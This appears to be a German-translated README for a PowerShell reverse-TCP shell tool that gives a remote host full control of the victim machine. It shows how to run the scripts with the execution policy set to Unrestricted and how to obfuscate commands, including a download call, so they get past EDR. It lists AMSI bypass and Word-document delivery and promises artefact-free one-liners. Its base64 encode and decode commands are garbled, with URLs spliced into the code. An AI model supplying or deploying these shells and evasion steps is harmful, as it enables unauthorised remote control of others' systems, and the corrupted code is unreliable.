
powershell-reverse-tcp v5.0
PowerShell-Skripte für die Kommunikation mit einem entfernten Host.
PowerShell Reverse TCP
PowerShell-Skripte zur Kommunikation mit einem entfernten Host.
Der entfernte Host hat die vollständige Kontrolle über den Client und alle zugrunde liegenden Systembefehle.
Überprüfen Sie Shells basierend auf:
Getestet mit PowerShell v5.1.19041.2673 unter Windows 10 Enterprise (64-Bit).
Für Bildungszwecke erstellt. Ich hoffe, es hilft!
Dieses Repository enthält mittlerweile bekannte Signaturen und ich habe keine Zeit, jedes Mal neue Skripte hochzuladen, daher sollten Sie diese Skripte selbst verschleiern.
Zukünftige Pläne:
- Weitere Shells basierend auf Prozess-Pipes und deren weitere Optimierung.
Inhaltsverzeichnis
- Ausführung
- PowerShell-Skripte verschleiern
- AMSI-Bypass
- MS Word-Integration
- Listener einrichten
- Laufzeit
Ausführung
Ändern Sie die IP-Adresse und Portnummer in den Skripten nach Bedarf.
Öffnen Sie PowerShell aus dem Verzeichnis \src\invoke_expression\original\ oder \src\process_pipes\original\ und führen Sie die unten gezeigten Befehle aus.
Legen Sie die Ausführungsrichtlinie fest:```pwsh Set-ExecutionPolicy Unrestricted
Führen Sie das Skript aus:```pwsh
.\powershell_reverse_tcp.ps1
Oder führen Sie den folgenden Befehl entweder in PowerShell oder in der Eingabeaufforderung aus:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## PowerShell-Skripte verschleiern
Versuchen Sie, EDR und andere Sicherheitsmechanismen zu umgehen, indem Sie Ihre Skripte verschleiern. Sie können solche Verschleierungen in den Beispielen unten sehen.
Ursprünglicher PowerShell-Befehl:
``````pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Verschleierter PowerShell-Befehl:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Sehen Sie sich das ursprüngliche PowerShell-Skript [hier](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) und das vollständig obfuskierte [hier](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1) an.**
Nach der [manuellen Obfuskation](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) wurde das ursprüngliche PowerShell-Skript mit [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) obfuskiert. Credits an den Autor!
Suchen Sie im Internet nach zusätzlichen Obfuskationstechniken und -methoden.
P.S. Da PowerShell ständig aktualisiert wird, können einige reguläre Ausdrücke (z.B. `*ke-E*`) aufgrund mehrerer Methoden, die denselben Ausdruck abdecken, Ausnahmen auslösen. Daher müssen die Ausdrücke etwas genauer angegeben werden.
### PowerShell-kodierter Befehl
Um einen PowerShell-kodierten Befehl aus einem PowerShell-Skript zu generieren, führen Sie den folgenden PowerShell-Befehl aus:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Um einen PowerShell-codierten Befehl zu dekodieren, führen Sie den folgenden PowerShell-Befehl aus:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Verwenden Sie die folgenden Einzeiler, wenn Sie keine Artefakte hinterlassen möchten.
---